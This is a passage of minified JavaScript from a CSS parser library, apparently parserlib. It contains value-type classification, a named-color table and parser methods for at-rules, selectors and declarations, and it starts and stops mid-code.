temp;if(/^([+\-]?[\d\.]+)([a-z]+)$/i.test(text))switch(this.type="dimension",this.value=+RegExp.$1,this.units=RegExp.$2,this.units.toLowerCase()){case"em":case"rem":case"ex":case"px":case"cm":case"mm":case"in":case"pt":case"pc":case"ch":case"vh":case"vw":case"vmax":case"vmin":this.type="length";break;case"deg":case"rad":case"grad":this.type="angle";break;case"ms":case"s":this.type="time";break;case"hz":case"khz":this.type="frequency";break;case"dpi":case"dpcm":this.type="resolution"}else/^([+\-]?[\d\.]+)%$/i.test(text)?(this.type="percentage",this.value=+RegExp.$1):/^([+\-]?\d+)$/i.test(text)?(this.type="integer",this.value=+RegExp.$1):/^([+\-]?[\d\.]+)$/i.test(text)?(this.type="number",this.value=+RegExp.$1):/^#([a-f0-9]{3,6})/i.test(text)?(this.type="color",temp=RegExp.$1,3==temp.length?(this.red=parseInt(temp.charAt(0)+temp.charAt(0),16),this.green=parseInt(temp.charAt(1)+temp.charAt(1),16),this.blue=parseInt(temp.charAt(2)+temp.charAt(2),16)):(this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16))):/^rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)/i.test(text)?(this.type="color",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3):/^rgb\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)?(this.type="color",this.red=255*+RegExp.$1/100,this.green=255*+RegExp.$2/100,this.blue=255*+RegExp.$3/100):/^rgba\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*([\d\.]+)\s*\)/i.test(text)?(this.type="color",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3,this.alpha=+RegExp.$4):/^rgba\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)?(this.type="color",this.red=255*+RegExp.$1/100,this.green=255*+RegExp.$2/100,this.blue=255*+RegExp.$3/100,this.alpha=+RegExp.$4):/^hsl\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)?(this.type="color",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100):/^hsla\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)?(this.type="color",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100,this.alpha=+RegExp.$4):/^url\(["']?([^\)"']+)["']?\)/i.test(text)?(this.type="uri",this.uri=RegExp.$1):/^([^\(]+)\(/i.test(text)?(this.type="function",this.name=RegExp.$1,this.value=text):/^["'][^"']*["']/.test(text)?(this.type="string",this.value=eval(text)):Colors[text.toLowerCase()]?(this.type="color",temp=Colors[text.toLowerCase()].substring(1),this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16)):/^[\,\/]$/.test(text)?(this.type="operator",this.value=text):/^[a-z\-_\u0080-\uFFFF][a-z0-9\-_\u0080-\uFFFF]*$/i.test(text)&&(this.type="identifier",this.value=text)}function Selector(e,t,i){SyntaxUnit.call(this,e.join(" "),t,i,Parser.SELECTOR_TYPE),this.parts=e,this.specificity=Specificity.calculate(this)}function SelectorPart(e,t,i,n,r){SyntaxUnit.call(this,i,n,r,Parser.SELECTOR_PART_TYPE),this.elementName=e,this.modifiers=t}function SelectorSubPart(e,t,i,n){SyntaxUnit.call(this,e,i,n,Parser.SELECTOR_SUB_PART_TYPE),this.type=t,this.args=[]}function Specificity(e,t,i,n){this.a=e,this.b=t,this.c=i,this.d=n}function isHexDigit(e){return null!==e&&h.test(e)}function isDigit(e){return null!==e&&/\d/.test(e)}function isWhitespace(e){return null!==e&&/\s/.test(e)}function isNewLine(e){return null!==e&&nl.test(e)}function isNameStart(e){return null!==e&&/[a-z_\u0080-\uFFFF\\]/i.test(e)}function isNameChar(e){return null!==e&&(isNameStart(e)||/[0-9\-\\]/.test(e))}function isIdentStart(e){return null!==e&&(isNameStart(e)||/\-\\/.test(e))}function mix(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i]);return e}function TokenStream(e){TokenStreamBase.call(this,e,Tokens)}function ValidationError(e,t,i){this.col=i,this.line=t,this.message=e}var EventTarget=parserlib.util.EventTarget,TokenStreamBase=parserlib.util.TokenStreamBase,StringReader=parserlib.util.StringReader,SyntaxError=parserlib.util.SyntaxError,SyntaxUnit=parserlib.util.SyntaxUnit,Colors={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgrey:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",grey:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32",activeBorder:"Active window border.",activecaption:"Active window caption.",appworkspace:"Background color of multiple document interface.",background:"Desktop background.",buttonface:"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.",buttonhighlight:"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",buttonshadow:"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",buttontext:"Text on push buttons.",captiontext:"Text in caption, size box, and scrollbar arrow box.",graytext:"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.",greytext:"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.",highlight:"Item(s) selected in a control.",highlighttext:"Text of item(s) selected in a control.",inactiveborder:"Inactive window border.",inactivecaption:"Inactive window caption.",inactivecaptiontext:"Color of text in an inactive caption.",infobackground:"Background color for tooltip controls.",infotext:"Text color for tooltip controls.",menu:"Menu background.",menutext:"Text in menus.",scrollbar:"Scroll bar gray area.",threeddarkshadow:"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",threedface:"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",threedhighlight:"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",threedlightshadow:"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",threedshadow:"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",window:"Window background.",windowframe:"Window frame.",windowtext:"Text in windows."}; Combinator.prototype=new SyntaxUnit,Combinator.prototype.constructor=Combinator,MediaFeature.prototype=new SyntaxUnit,MediaFeature.prototype.constructor=MediaFeature,MediaQuery.prototype=new SyntaxUnit,MediaQuery.prototype.constructor=MediaQuery,Parser.DEFAULT_TYPE=0,Parser.COMBINATOR_TYPE=1,Parser.MEDIA_FEATURE_TYPE=2,Parser.MEDIA_QUERY_TYPE=3,Parser.PROPERTY_NAME_TYPE=4,Parser.PROPERTY_VALUE_TYPE=5,Parser.PROPERTY_VALUE_PART_TYPE=6,Parser.SELECTOR_TYPE=7,Parser.SELECTOR_PART_TYPE=8,Parser.SELECTOR_SUB_PART_TYPE=9,Parser.prototype=function(){var e,t=new EventTarget,i={constructor:Parser,DEFAULT_TYPE:0,COMBINATOR_TYPE:1,MEDIA_FEATURE_TYPE:2,MEDIA_QUERY_TYPE:3,PROPERTY_NAME_TYPE:4,PROPERTY_VALUE_TYPE:5,PROPERTY_VALUE_PART_TYPE:6,SELECTOR_TYPE:7,SELECTOR_PART_TYPE:8,SELECTOR_SUB_PART_TYPE:9,_stylesheet:function(){var e,t,i,n=this._tokenStream;for(this.fire("startstylesheet"),this._charset(),this._skipCruft();n.peek()==Tokens.IMPORT_SYM;)this._import(),this._skipCruft();for(;n.peek()==Tokens.NAMESPACE_SYM;)this._namespace(),this._skipCruft();for(i=n.peek();i>Tokens.EOF;){try{switch(i){case Tokens.MEDIA_SYM:this._media(),this._skipCruft();break;case Tokens.PAGE_SYM:this._page(),this._skipCruft();break;case Tokens.FONT_FACE_SYM:this._font_face(),this._skipCruft();break;case Tokens.KEYFRAMES_SYM:this._keyframes(),this._skipCruft();break;case Tokens.VIEWPORT_SYM:this._viewport(),this._skipCruft();break;case Tokens.UNKNOWN_SYM:if(n.get(),this.options.strict)throw new SyntaxError("Unknown @ rule.",n.LT(0).startLine,n.LT(0).startCol);for(this.fire({type:"error",error:null,message:"Unknown @ rule: "+n.LT(0).value+".",line:n.LT(0).startLine,col:n.LT(0).startCol}),e=0;n.advance([Tokens.LBRACE,Tokens.RBRACE])==Tokens.LBRACE;)e++;for(;e;)n.advance([Tokens.RBRACE]),e--;break;case Tokens.S:this._readWhitespace();break;default:if(!this._ruleset())switch(i){case Tokens.CHARSET_SYM:throw t=n.LT(1),this._charset(!1),new SyntaxError("@charset not allowed here.",t.startLine,t.startCol);case Tokens.IMPORT_SYM:throw t=n.LT(1),this._import(!1),new SyntaxError("@import not allowed here.",t.startLine,t.startCol);case Tokens.NAMESPACE_SYM:throw t=n.LT(1),this._namespace(!1),new SyntaxError("@namespace not allowed here.",t.startLine,t.startCol);default:n.get(),this._unexpectedToken(n.token())}}}catch(r){if(!(r instanceof SyntaxError)||this.options.strict)throw r;this.fire({type:"error",error:r,message:r.message,line:r.line,col:r.col})}i=n.peek()}i!=Tokens.EOF&&this._unexpectedToken(n.token()),this.fire("endstylesheet")},_charset:function(e){var t,i,n,r,o=this._tokenStream;o.match(Tokens.CHARSET_SYM)&&(n=o.token().startLine,r=o.token().startCol,this._readWhitespace(),o.mustMatch(Tokens.STRING),i=o.token(),t=i.value,this._readWhitespace(),o.mustMatch(Tokens.SEMICOLON),e!==!1&&this.fire({type:"charset",charset:t,line:n,col:r}))},_import:function(e){var t,i,n=this._tokenStream,r=[];n.mustMatch(Tokens.IMPORT_SYM),i=n.token(),this._readWhitespace(),n.mustMatch([Tokens.STRING,Tokens.URI]),t=n.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/,"$1"),this._readWhitespace(),r=this._media_query_list(),n.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:"import",uri:t,media:r,line:i.startLine,col:i.startCol})},_namespace:function(e){var t,i,n,r,o=this._tokenStream;o.mustMatch(Tokens.NAMESPACE_SYM),t=o.token().startLine,i=o.token().startCol,this._readWhitespace(),o.match(Tokens.IDENT)&&(n=o.token().value,this._readWhitespace()),o.mustMatch([Tokens.STRING,Tokens.URI]),r=o.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/,"$1"),this._readWhitespace(),o.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:"namespace",prefix:n,uri:r,line:t,col:i})},_media:function(){var e,t,i,n=this._tokenStream;for(n.mustMatch(Tokens.MEDIA_SYM),e=n.token().startLine,t=n.token().startCol,this._readWhitespace(),i=this._media_query_list(),n.mustMatch(Tokens.LBRACE),this._readWhitespace(),this.fire({type:"startmedia",media:i,line:e,col:t});;)if(n.peek()==Tokens.PAGE_SYM)this._page();else if(n.peek()==Tokens.FONT_FACE_SYM)this._font_face();else if(n.peek()==Tokens.VIEWPORT_SYM)this._viewport();else if(!this._ruleset())break;n.mustMatch(Tokens.RBRACE),this._readWhitespace(),this.fire({type:"endmedia",media:i,line:e,col:t})},_media_query_list:function(){var e=this._tokenStream,t=[];for(this._readWhitespace(),(e.peek()==Tokens.IDENT||e.peek()==Tokens.LPAREN)&&t.push(this._media_query());e.match(Tokens.COMMA);)this._readWhitespace(),t.push(this._media_query());return t},_media_query:function(){var e=this._tokenStream,t=null,i=null,n=null,r=[];if(e.match(Tokens.IDENT)&&(i=e.token().value.toLowerCase(),"only"!=i&&"not"!=i?(e.unget(),i=null):n=e.token()),this._readWhitespace(),e.peek()==Tokens.IDENT?(t=this._media_type(),null===n&&(n=e.token())):e.peek()==Tokens.LPAREN&&(null===n&&(n=e.LT(1)),r.push(this._media_expression())),null===t&&0===r.length)return null;for(this._readWhitespace();e.match(Tokens.IDENT);)"and"!=e.token().value.toLowerCase()&&this._unexpectedToken(e.token()),this._readWhitespace(),r.push(this._media_expression());return new MediaQuery(i,t,r,n.startLine,n.startCol)},_media_type:function(){return this._media_feature()},_media_expression:function(){var e,t=this._tokenStream,i=null,n=null;return t.mustMatch(Tokens.LPAREN),i=this._media_feature(),this._readWhitespace(),t.match(Tokens.COLON)&&(this._readWhitespace(),e=t.LT(1),n=this._expression()),t.mustMatch(Tokens.RPAREN),this._readWhitespace(),new MediaFeature(i,n?new SyntaxUnit(n,e.startLine,e.startCol):null)},_media_feature:function(){var e=this._tokenStream;return e.mustMatch(Tokens.IDENT),SyntaxUnit.fromToken(e.token())},_page:function(){var e,t,i=this._tokenStream,n=null,r=null;i.mustMatch(Tokens.PAGE_SYM),e=i.token().startLine,t=i.token().startCol,this._readWhitespace(),i.match(Tokens.IDENT)&&(n=i.token().value,"auto"===n.toLowerCase()&&this._unexpectedToken(i.token())),i.peek()==Tokens.COLON&&(r=this._pseudo_page()),this._readWhitespace(),this.fire({type:"startpage",id:n,pseudo:r,line:e,col:t}),this._readDeclarations(!0,!0),this.fire({type:"endpage",id:n,pseudo:r,line:e,col:t})},_margin:function(){var e,t,i=this._tokenStream,n=this._margin_sym();return n?(e=i.token().startLine,t=i.token().startCol,this.fire({type:"startpagemargin",margin:n,line:e,col:t}),this._readDeclarations(!0),this.fire({type:"endpagemargin",margin:n,line:e,col:t}),!0):!1},_margin_sym:function(){var e=this._tokenStream;return e.match([Tokens.TOPLEFTCORNER_SYM,Tokens.TOPLEFT_SYM,Tokens.TOPCENTER_SYM,Tokens.TOPRIGHT_SYM,Tokens.TOPRIGHTCORNER_SYM,Tokens.BOTTOMLEFTCORNER_SYM,Tokens.BOTTOMLEFT_SYM,Tokens.BOTTOMCENTER_SYM,Tokens.BOTTOMRIGHT_SYM,Tokens.BOTTOMRIGHTCORNER_SYM,Tokens.LEFTTOP_SYM,Tokens.LEFTMIDDLE_SYM,Tokens.LEFTBOTTOM_SYM,Tokens.RIGHTTOP_SYM,Tokens.RIGHTMIDDLE_SYM,Tokens.RIGHTBOTTOM_SYM])?SyntaxUnit.fromToken(e.token()):null},_pseudo_page:function(){var e=this._tokenStream;return e.mustMatch(Tokens.COLON),e.mustMatch(Tokens.IDENT),e.token().value},_font_face:function(){var e,t,i=this._tokenStream;i.mustMatch(Tokens.FONT_FACE_SYM),e=i.token().startLine,t=i.token().startCol,this._readWhitespace(),this.fire({type:"startfontface",line:e,col:t}),this._readDeclarations(!0),this.fire({type:"endfontface",line:e,col:t})},_viewport:function(){var e,t,i=this._tokenStream;i.mustMatch(Tokens.VIEWPORT_SYM),e=i.token().startLine,t=i.token().startCol,this._readWhitespace(),this.fire({type:"startviewport",line:e,col:t}),this._readDeclarations(!0),this.fire({type:"endviewport",line:e,col:t})},_operator:function(e){var t=this._tokenStream,i=null;return(t.match([Tokens.SLASH,Tokens.COMMA])||e&&t.match([Tokens.PLUS,Tokens.STAR,Tokens.MINUS]))&&(i=t.token(),this._readWhitespace()),i?PropertyValuePart.fromToken(i):null},_combinator:function(){var e,t=this._tokenStream,i=null;return t.match([Tokens.PLUS,Tokens.GREATER,Tokens.TILDE])&&(e=t.token(),i=new Combinator(e.value,e.startLine,e.startCol),this._readWhitespace()),i},_unary_operator:function(){var e=this._tokenStream;return e.match([Tokens.MINUS,Tokens.PLUS])?e.token().value:null},_property:function(){var e,t,i,n,r=this._tokenStream,o=null,s=null;return r.peek()==Tokens.STAR&&this.options.starHack&&(r.get(),t=r.token(),s=t.value,i=t.startLine,n=t.startCol),r.match(Tokens.IDENT)&&(t=r.token(),e=t.value,"_"==e.charAt(0)&&this.options.underscoreHack&&(s="_",e=e.substring(1)),o=new PropertyName(e,s,i||t.startLine,n||t.startCol),this._readWhitespace()),o},_ruleset:function(){var e,t,i=this._tokenStream;try{t=this._selectors_group()}catch(n){if(!(n instanceof SyntaxError)||this.options.strict)throw n;if(this.fire({type:"error",error:n,message:n.message,line:n.line,col:n.col}),e=i.advance([Tokens.RBRACE]),e!=Tokens.RBRACE)throw n;return!0}return t&&(this.fire({type:"startrule",selectors:t,line:t[0].line,col:t[0].col}),this._readDeclarations(!0),this.fire({type:"endrule",selectors:t,line:t[0].line,col:t[0].col})),t},_selectors_group:function(){var e,t=this._tokenStream,i=[];if(e=this._selector(),null!==e)for(i.push(e);t.match(Tokens.COMMA);)this._readWhitespace(),e=this._selector(),null!==e?i.push(e):this._unexpectedToken(t.LT(1));return i.length?i:null},_selector:function(){var e=this._tokenStream,t=[],i=null,n=null,r=null;if(i=this._simple_selector_sequence(),null===i)return null;for(t.push(i);;)if(n=this._combinator(),null!==n)t.push(n),i=this._simple_selector_sequence(),null===i?this._unexpectedToken(e.LT(1)):t.push(i);else{if(!this._readWhitespace())break;r=new Combinator(e.token().value,e.token().startLine,e.token().startCol),n=this._combinator(),i=this._simple_selector_sequence(),null===i?null!==n&&this._unexpectedToken(e.LT(1)):(null!==n?t.push(n):t.push(r),t.push(i))}return new Selector(t,t[0].line,t[0].col)},_simple_selector_sequence:function(){var e,t,i=this._tokenStream,n=null,r=[],o="",s=[function(){return i.match(Tokens.HASH)?new SelectorSubPart(i.token().value,"id",i.token().startLine,i.token().startCol):null},this._class,this._attrib,this._pseudo,this._negation],a=0,l=s.length,c=null;for(e=i.LT(1).startLine,t=i.LT(1).startCol,n=this._type_selector(),n||(n=this._universal()),null!==n&&(o+=n);;){if(i.peek()===Tokens.S)break;for(;l>a&&null===c;)c=s[a++].call(this);if(null===c){if(""===o)return null;break}a=0,r.push(c),o+=""+c,c=null}return""!==o?new SelectorPart(n,r,o,e,t):null},_type_selector:function(){var e=this._tokenStream,t=this._namespace_prefix(),i=this._element_name();return i?(t&&(i.text=t+i.text,i.col-=t.length),i):(t&&(e.unget(),t.length>1&&e.unget()),null)},_class:function(){var e,t=this._tokenStream;return t.match(Tokens.DOT)?(t.mustMatch(Tokens.IDENT),e=t.token(),new SelectorSubPart("."+e.value,"class",e.startLine,e.startCol-1)):null},_element_name:function(){var e,t=this._tokenStream;return t.match(Tokens.IDENT)?(e=t.token(),new SelectorSubPart(e.value,"elementName",e.startLine,e.startCol)):null},_namespace_prefix:function(){var e=this._tokenStream,t="";return(e.LA(1)===Tokens.PIPE||e.LA(2)===Tokens.PIPE)&&(e.match([Tokens.IDENT,Tokens.STAR])&&(t+=e.token().value),e.mustMatch(Tokens.PIPE),t+="|"),t.length?t:null},_universal:function(){var e,t=this._tokenStream,i="";return e=this._namespace_prefix(),e&&(i+=e),t.match(Tokens.STAR)&&(i+="*"),i.length?i:null},_attrib:function(){var e,t,i=this._tokenStream,n=null;return i.match(Tokens.LBRACKET)?(t=i.token(),n=t.value,n+=this._readWhitespace(),e=this._namespace_prefix(),e&&(n+=e),i.mustMatch(Tokens.IDENT),n+=i.token().value,n+=this._readWhitespace(),i.match([Tokens.PREFIXMATCH,Tokens.SUFFIXMATCH,Tokens.SUBSTRINGMATCH,Tokens.EQUALS,Tokens.INCLUDES,Tokens.DASHMATCH])&&(n+=i.token().value,n+=this._readWhitespace(),i.mustMatch([Tokens.IDENT,Tokens.STRING]),n+=i.token().value,n+=this._readWhitespace()),i.mustMatch(Tokens.RBRACKET),new SelectorSubPart(n+"]","attribute",t.startLine,t.startCol)):null},_pseudo:function(){var e,t,i=this._tokenStream,n=null,r=":";return i.match(Tokens.COLON)&&(i.match(Tokens.COLON)&&(r+=":"),i.match(Tokens.IDENT)?(n=i.token().value,e=i.token().startLine,t=i.token().startCol-r.length):i.peek()==Tokens.FUNCTION&&(e=i.LT(1).startLine,t=i.LT(1).startCol-r.length,n=this._functional_pseudo()),n&&(n=new SelectorSubPart(r+n,"pseudo",e,t))),n},_functional_pseudo:function(){var e=this._tokenStream,t=null;return e.match(Tokens.FUNCTION)&&(t=e.token().value,t+=this._readWhitespace(),t+=this._expression(),e.mustMatch(Tokens.RPAREN),t+=")"),t},_expression:function(){for(var e=this._tokenStream,t="";e.match([Tokens.PLUS,Tokens.MINUS,Tokens.DIMENSION,Tokens.NUMBER,Tokens.STRING,Tokens.IDENT,Tokens.LENGTH,Tokens.FREQ,Tokens.ANGLE,Tokens.TIME,Tokens.RESOLUTION,Tokens.SLASH]);)t+=e.token().value,t+=this._readWhitespace();return t.length?t:null},_negation:function(){var e,t,i,n=this._tokenStream,r="",o=null;return n.match(Tokens.NOT)&&(r=n.token().value,e=n.token().startLine,t=n.token().startCol,r+=this._readWhitespace(),i=this._negation_arg(),r+=i,r+=this._readWhitespace(),n.match(Tokens.RPAREN),r+=n.token().value,o=new SelectorSubPart(r,"not",e,t),o.args.push(i)),o},_negation_arg:function(){var e,t,i,n=this._tokenStream,r=[this._type_selector,this._universal,function(){return n.match(Tokens.HASH)?new SelectorSubPart(n.token().value,"id",n.token().startLine,n.token().startCol):null},this._class,this._attrib,this._pseudo],o=null,s=0,a=r.length;for(e=n.LT(1).startLine,t=n.LT(1).startCol;a>s&&null===o;)o=r[s].call(this),s++;return null===o&&this._unexpectedToken(n.LT(1)),i="elementName"==o.type?new SelectorPart(o,[],""+o,e,t):new SelectorPart(null,[o],""+o,e,t)},_declaration:function(){var e=this._tokenStream,t=null,i=null,n=null,r=null,o="";if(t=this._property(),null!==t){e.mustMatch(Tokens.COLON),this._readWhitespace(),i=this._expr(),i&&0!==i.length||this._unexpectedToken(e.LT(1)),n=this._prio(),o=""+t,(this.options.starHack&&"*"==t.hack||this.options.underscoreHack&&"_"==t.hack)&&(o=t.text);try{this._validateProperty(o,i)}catch(s){r=s}return this.fire({type:"property",property:t,value:i,important:n,line:t.line,col:t.col,invalid:r}),!0}return!1},_prio:function(){var e=this._tokenStream,t=e.match(Tokens.IMPORTANT_SYM);return this._readWhitespace(),t},_expr:function(e){var t=(this._tokenStream,[]),i=null,n=null;if(i=this._term(e),null!==i)for(t.push(i);;){if(n=this._operator(e),n&&t.push(n),i=this._term(e),null===i)break;t.push(i)}return t.length>0?new PropertyValue(t,t[0].line,t[0].col):null},_term:function(e){var t,i,n,r=this._tokenStream,o=null,s=null,a=null;return o=this._unary_operator(),null!==o&&(i=r.token().startLine,n=r.token().startCol),r.peek()==Tokens.IE_FUNCTION&&this.options.ieFilters?(s=this._ie_function(),null===o&&(i=r.token().startLine,n=r.token().startCol)):e&&r.match([Tokens.LPAREN,Tokens.LBRACE,Tokens.LBRACKET])?(t=r.token(),a=t.endChar,s=t.value+this._expr(e).text,null===o&&(i=r.token().startLine,n=r.token().startCol),r.mustMatch(Tokens.type(a)),s+=a,this._readWhitespace()):r.match([Tokens.NUMBER,Tokens.PERCENTAGE,Tokens.LENGTH,Tokens.ANGLE,Tokens.TIME,Tokens.FREQ,Tokens.STRING,Tokens.IDENT,Tokens.URI,Tokens.UNICODE_RANGE])?(s=r.token().value,null===o&&(i=r.token().startLine,n=r.token().startCol),this._readWhitespace()):(t=this._hexcolor(),null===t?(null===o&&(i=r.LT(1).startLine,n=r.LT(1).startCol),null===s&&(s=r.LA(3)==Tokens.EQUALS&&this.options.ieFilters?this._ie_function():this._function())):(s=t.value,null===o&&(i=t.startLine,n=t.startCol))),null!==s?new PropertyValuePart(null!==o?o+s:s,i,n):null},_function:function(){var e,t=this._tokenStream,i=null,n=null;if(t.match(Tokens.FUNCTION)){if(i=t.token().value,this._readWhitespace(),n=this._expr(!0),i+=n,this.options.ieFilters&&t.peek()==Tokens.EQUALS)do for(this._readWhitespace()&&(i+=t.token().value),t.LA(0)==Tokens.COMMA&&(i+=t.token().value),t.match(Tokens.IDENT),i+=t.token().value,t.match(Tokens.EQUALS),i+=t.token().value,e=t.peek();e!=Tokens.COMMA&&e!=Tokens.S&&e!=Tokens.RPAREN;)t.get(),i+=t.token().value,e=t.peek();while(t.match([Tokens.COMMA,Tokens.S]));t.match(Tokens.RPAREN),i+=")",this._readWhitespace()}return i},_ie_function:function(){var e,t=this._tokenStream,i=null;if(t.match([Tokens.IE_FUNCTION,Tokens.FUNCTION])){i=t.token().value;do for(this._readWhitespace()&&(i+=t.token().value),t.LA(0)==Tokens.COMMA&&(i+=t.token().value),t.match(Tokens.IDENT),i+=t.token().value,t.match(Tokens.EQUALS),i+=t.token().value,e=t.peek();e!=Tokens.COMMA&&e!=Tokens.S&&e!=Tokens.RPAREN;)t.get(),i+=t.token().value,e=t.peek();while(t.match([Tokens.COMMA,Tokens.S]));t.match(Tokens.RPAREN),i+=")",this._readWhitespace()}return i},_hexcolor:function(){var e,t=this._tokenStream,i=null;if(t.match(Tokens.HASH)){if(i=t.token(),e=i.value,!/#[a-f0-9]{3,6}/i.test(e))throw new SyntaxError("Expected a hex color but found '"+e+"' at line "+i.startLine+", col "+i.startCol+".",i.startLine,i.startCol);this._readWhitespace()}return i},_keyframes:function(){var e,t,i,n=this._tokenStream,r="";for(n.mustMatch(Tokens.KEYFRAMES_SYM),e=n.token(),/^@\-([^\-]+)\-/.test(e.value)&&(r=RegExp.$1),this._readWhitespace(),i=this._keyframe_name(),this._readWhitespace(),n.mustMatch(Tokens.LBRACE),this.fire({type:"startkeyframes",name:i,prefix:r,line:e.startLine,col:e.startCol}),this._readWhitespace(),t=n.peek();t==Tokens.IDENT||t==Tokens.PERCENTAGE;)this._keyframe_rule(),this._readWhitespace(),t=n.peek();this.fire({type:"endkeyframes",name:i,prefix:r,line:e.startLine,col:e.startCol}),this._readWhitespace(),n.mustMatch(Tokens.RBRACE)},_keyframe_name:function(){var e=this._tokenStream;return e.mustMatch([Tokens.IDENT,Tokens.STRING]),SyntaxUnit.fromToken(e.token())},_keyframe_rule:function(){var e=(this._tokenStream,this._key_list());this.fire({type:"startkeyframerule",keys:e,line:e[0].line,col:e[0].col}),this._readDeclarations(!0),this.fire({type:"endkeyframerule",keys:e,line:e[0].line,col:e[0].col})},_key_list:function(){var e=this._tokenStream,t=[];for(t.push(this._key()),this._readWhitespace();e.match(Tokens.COMMA);)this._readWhitespace(),t.push(this._key()),this._readWhitespace();return t},_key:function(){var e,t=this._tokenStream;if(t.match(Tokens.PERCENTAGE))return SyntaxUnit.fromToken(t.token());if(t.match(Tokens.IDENT)){if(e=t.token(),/from|to/i.test(e.value))return 